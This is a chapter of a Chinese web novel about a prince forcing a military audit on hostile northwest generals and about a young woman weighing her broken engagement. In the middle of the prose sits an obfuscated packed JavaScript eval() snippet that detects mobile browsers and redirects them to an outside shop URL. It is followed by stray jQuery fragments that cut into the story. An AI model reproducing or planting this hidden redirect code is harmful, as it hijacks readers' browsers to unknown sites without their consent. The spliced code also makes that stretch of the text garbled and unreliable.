之后的几天,除了在爷爷的病房里偶尔遇见他外,宗予没再私下去找过秦然。
他很忙,忙着推动西北的权力移交。
再也没有比现在更好、更合适的机会了。
之前增设的监察机构,原本只是依列进行军需账目核验,如今,在宗予的一声令下,往前三年的军需账目被封存。
一架自中央星而来的星舰,低调地停在星港,依次走下了数个身着制服的人员。
他们登上飞行器,来到了监察机构的临时办公地点。
这些从别处调集而来的资深监察人员,将在随后的两周时间内,对过往账目进行初步的检查。
随着第一日监察的启动,西北军方高层陷入了一片哗然。
过去对于各方避而不见的宗予,终于公开现身了。
军部会议室里,气氛压抑得让人喘不过来气。
长桌两侧坐满了西北各部的核心成员,军装整齐,却难掩神色中的躁动与不满,有人将文件重重拍在桌上,有人在低声议论,更多的人则将目光投向主位——
宗予,正坐在那里。
这是他到西北后,第一次正面出现在这种级别的会议上。
他没有带多余的人,只带了一名随行的记录官。纸面上整齐摆放的资料,他并没有翻阅,只是安静地坐着。
但这种安静,更让人觉得不安。
“殿下。”终于有人开口了。
说话的是西北第三军区的副将,年过四十,声音里压着怒意,却并未刻意掩饰。
“军需监察突然封账彻查,这到底是要做什么?”
他顿了顿,语气愈发锋利。
“殿下虽说是初来西北,但这些年西北是怎么撑下来的,殿下心里不清楚吗?如今一句监察,就要把过去的规则推翻?”
话音刚落,会议室里响起了一片附和声。
“没错,这样下去,军心不稳,早晚会出事。”
“中央星什么时候管过我们,这个时候倒是想来插手。”
“西北安定才是重心,一旦起了冲突,谁来负这个责?”
一句句愤慨不已的话在室内响起,带着积压已久的情绪,在这一刻找到了出口。
“过河拆桥,也不过如此。”
这句话说的不高不低,却恰好足够每个人都能听清。
会议室里骤然安静了下来。
所有人的目光,都落在了宗予身上。
宗予终于抬眼。
他的神情没有丝毫变化,连眉梢都没有动一下。
“说完了?”
没有人再说话。
他的指尖轻轻点在文件上。
“军需监察的条例,来自帝都。”他说,“执行的既有条列,并非临时决议,更并非只针对西北。”
他的视线一一扫过在座的众人,语气平稳,却带着难言的重量。
“这是制度本就该推行的事情。”
这句话落下的瞬间,有人冷笑出声。
那位副将直接站起了身,“制度?如果制度真的早就该推行,西北也不会是现在这个样子。”
他倾身下压,整个人微微弯腰,双手重重地撑在桌面上。
“这些年,军需、补给、调度——按照应有的制度,中央且西北的只多不少,过去哪一项不是我们自己咬牙撑下来的?现在西北刚有起色,就要查账,查谁?查我们?”
“还是说,”他盯着宗予,“殿下觉得,如今的西北,已经用不上我们这些老人了?”
气氛瞬间紧绷。
几名将领也站了起来,明显是站在同一立场。
会议室里,隐隐有了对峙的味道。
记录官的手停了一瞬,不敢抬头。
宗予却没有动。
他看着那名副将,目光沉静,没有丝毫被挑起的情绪。
“你说的对。”他突然开口。
这就话让所有人一愣。
宗予接着说道。
“西北这些年,是靠你们撑下来的,这是毋庸的事实。”
“所以,更应该彻查清楚,以免有人暗中下手。”
他顿了顿,视线再次扫过众人。
这句话落下,那名副将脸色一边,“你——”
宗予却已经继续说下去了。
“只有依靠制度,按规章办事,才能避免更多的问题。”
他微微前倾,目光压过去。
“过去西北愿意在帝都之外,制度缺失,依靠着所有人的努力走到了今天。”
“但如今,帝都介入已是不可更改的事实,有了帝国的依托,西北才能走的更高、更远。”
会议室彻底安静了下来,没有人再说话。
宗予的声音里,带着一种无法撼动的冷硬。
“我再说一遍。”
“监察,不针对任何人。”
“也不会为任何人停下。”
长桌之下,有人握紧了拳,有人咬牙,但没有人再开口。
宗予重新靠回椅背,语气恢复了最初的平静。
“各项命令照常进行,在此期间,西北旧例,新规待监察结果出来后再待商讨。”
“各位如有异议——”
他抬眼,淡淡看了眼众人。
“可以走程序向中央军部申诉。”
他说完,便不再说话。
会议室里再无人声,只有文件翻动的声音,显得格外肃杀。
会议结束后,整个西北的高层似乎笼罩上了一片沉重的阴影。
过去平静的气氛似乎在午间就彻底消失不见了。
宗予在会议上的态度,秦然也有耳闻。
随后的几天,出入医院的人,变多了。
秦然交代林副官,爷爷的病情需要静养,不要让外人来打扰。
“你啊,”秦将军咳了两声,看着眼前又长时间扎根在病房里的秦然,无奈地叹了口气。
“不用担心爷爷,就算他们真闹到我这里,也是白费功夫。”
秦然坐在椅子上,手里正在给水果削皮,听到爷爷的话,她也忍不住叹了口气。
“我只是不希望有人来打扰你休息。”
“这几天被林副官拦在外面的人,不在少数。在这个时候真要是闹到你面前,无论你是出面干涉,还是置之不理,总会有人质疑,我不想听到别人说爷爷的不好。”
秦将军低低笑了两声。
“几句闲话,算得了什么。”
“可我不想听到,”秦然停下了手里的动作,认真地说道,“你为了西北殚精竭虑一辈子,如今到了这个时候,还要被人卷进这些争权夺利里,我决不允许。”
“那你呢?你躲在这里能清闲片刻,出了这个病房,他们依旧会找上你。”
秦然握紧了手里的水果刀,笑了笑。
“无妨,不过是多说我两句,我本就不领军职,说的再多,我也做不了什么。”
她低头将手中的水果三两下削干净,递了过去。
爷爷接过来,咬了一口。
“你们,吵架了?”
秦然愣了愣,很快回过神来。
“没有,只是——”
“只是有些话说开了,既然退婚在即,我和他也该退回到彼此陌生人的状态。”
“然然,爷爷还是想问你。”
“什么?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940514|210381||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“让你跟宗予退婚,你会后悔吗?”
秦然抬眼,下意识想摇头否认,但是对上爷爷宽容、温和的眼神,她突然鼻子一酸,低下了头。
“我和他,我们不合适。”
她顿了顿,再抬起头时,眼里的情绪已被敛起,重回了平静。
“爷爷,我确实会伤心,但时间——”
“总会磨平一切。”
走出病房的秦然,在走廊里再次遇到了闻即。
他冷着脸站在窗边,将窗户推开了一道缝隙。
外面的太阳已经快要落山了,夜风渐起,带着刺骨的凉意。
闻即像是感觉不到一般,站在那里一动不动。
秦然在一步开外,也停下来脚步。
空荡荡的走廊里,两人相对而立,都双双无言,只是窗外的风声呜呜作响。
沉默了片刻后,闻即突然开口了。
“秦小姐。”
秦然抬眸,“闻将军,有何指教。”
闻即转过身来,冷冰冰的视线落在她身上。
“小姐即已是准太子妃,也该记得,自己出自西北。”他语气缓慢地说道,“凡事,总要多为西北考虑考虑。毕竟——”
“就算嫁入皇室,西北也还是小姐的娘家。”
秦然看着闻将军,淡淡回道,“这是我的事情,不劳闻将军费心。”
闻即轻轻一笑,那笑意却没有丝毫温度。
“小姐还是太天真了,这场婚约,从来都不只是你个人的事情。”
“西北好,你这个未来的准太子妃,才有分量。否则,在中央星那个地方,你被吃的骨头都不剩,都未必有人替你说一句话。”
闻即顿了顿,又继续说了下去。
“如今西北的局势,相信小姐应该也看在眼里。殿下一心想让西北早日按制行事,出发点是好的,只是——”
“初来乍到,对西北的实际情况并不了解,就贸然出手,并不是明智之举。”
秦然没有立刻接话,而是沉默了片刻。
“那依闻将军所见,该如何呢?”
闻即似乎早就在等这一句。
“小姐应该用心劝劝殿下,西北之事,本就不是一朝一夕间能解决的。”
“殿下大可先回中央星,日后再徐徐图之。”
秦然偏过头,看向窗外渐深的夜色。
“若闻将军觉得殿下行事不当,大可自行去找殿下陈情,而不是借我的口。”
闻即眼神微沉。
“怎么,小姐要对西北如今的局势,视而不见?”
他语气里的冷意再压不住。
“西北几百年的基业,都是秦家一手守下来的。”
“到了如今,小姐却选择袖手旁观。”
他盯着她,一字一顿,“将来若真的出了事,小姐担得了这个责吗?”
风,骤然倒灌进来,呼啸而过。
秦然并不为所动,只是平静地说道,“殿下做事,自有殿下的用意,不是你我可以随意置喙的。”
“至于西北——”
她的眼神看向闻即,稳的毫无波澜。
“也从来不是靠几句劝说,就能稳得住的。”
闻即冷哼一声,眼神彻底冷了下来。
“那就请小姐做好自己的份内事,如今谁不知晓,宗予殿下随陪小姐回了西北,倒是对小姐避而不见。这样的冷待,于秦家、于西北皆是面上无光。总不能——”
“秦家舍了西北,小姐总不会连太子妃的位置都坐不稳吧。”
话音落下,秦然的脸色却分毫未变。
“将军有此闲心,不如担心自己是否能坐稳现在的位置。”